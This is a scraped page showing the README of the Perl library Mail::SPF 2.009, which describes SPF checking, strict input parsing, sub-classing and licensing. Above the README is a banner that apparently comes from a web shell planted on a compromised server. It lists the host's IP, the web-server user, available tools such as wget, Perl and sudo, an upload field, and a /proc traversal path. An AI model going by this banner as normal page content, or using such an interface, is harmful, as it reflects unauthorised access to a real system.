| Server IP : 85.214.239.14 / Your IP : 3.138.114.198 Web Server : Apache/2.4.62 (Debian) System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : www-data ( 33) PHP Version : 7.4.18 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : OFF | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /proc/2/task/2/root/proc/3/root/proc/2/root/usr/share/doc/libmail-spf-perl/ |
Upload File : |
Mail::SPF 2.009 -- A Perl implementation of the Sender Policy Framework
(C) 2005-2013 Julian Mehnle <julian@mehnle.net>
2005 Shevek <cpan@anarres.org>
<http://search.cpan.org/dist/Mail-SPF>
==============================================================================
Mail::SPF is an object-oriented Perl implementation of the Sender Policy
Framework (SPF) e-mail sender authentication system.
See <https://tools.ietf.org/html/rfc7208> for more information about SPF.
This release of Mail::SPF fully conforms to RFC 4408 and passes the 2009.10
release of the official test-suite
<https://web.archive.org/web/20190130131432/http://www.openspf.org/Test_Suite>
The Mail::SPF source package includes the following additional tools:
* spfquery: A command-line tool for performing SPF checks.
* spfd: A daemon for services that perform SPF checks frequently.
Mail::SPF is not your mother!
-----------------------------
Unlike other SPF implementations, Mail::SPF will not do your homework for you.
In particular, in evaluating SPF policies it will not make any exceptions for
your localhost or loopback addresses (127.0.0.*, ::1, etc.). There is no way
for Mail::SPF to know exactly which sending IP addresses you would like to
treat as trusted relays and which not. If you don't want messages from certain
addresses to be subject to SPF processing, then don't invoke Mail::SPF on such
messages -- it's that simple. Other libraries have chosen to be more
accommodating, but that has usually led to consumers getting spoiled and
implementations becoming fraught with feature creep.
Also, parameter parsing is generally very strict. For example, no whitespace
or '<>' characters will be removed from e-mail address or IP address parameters
passed to Mail::SPF. If you pass in unsanitized values and it doesn't work,
don't be surprised.
You may call me a purist.
Sub-Classing
------------
You can easily sub-class Mail::SPF::Server and the Mail::SPF::Result class
collection in order to extend or modify their behavior. The hypothetical
Mail::SPF::BlackMagic package was once supposed to make use of this.
In your Mail::SPF::Server sub-class simply override the result_base_class()
constant, specifying your custom Mail::SPF::Result base sub-class. Then have
your result base class specify its associated concrete sub-classes by
overriding Mail::SPF::Result's result_classes() constant.
For this to work, any code throwing Mail::SPF::Result(::*) objects directly
needs to stop doing so as of Mail::SPF 2.006 and use Mail::SPF::Server::
throw_result() instead.
Reporting Bugs
--------------
Please report bugs in Mail::SPF and its documentation to the CPAN bug tracker:
<http://rt.cpan.org/Public/Dist/Display.html?Name=Mail-SPF>
License
-------
Mail::SPF is free software. You may use, modify, and distribute it under the
terms of the BSD license. See LICENSE for the BSD license text.
# $Id: README 61 2013-07-22 03:45:15Z julian $
# vim:tw=79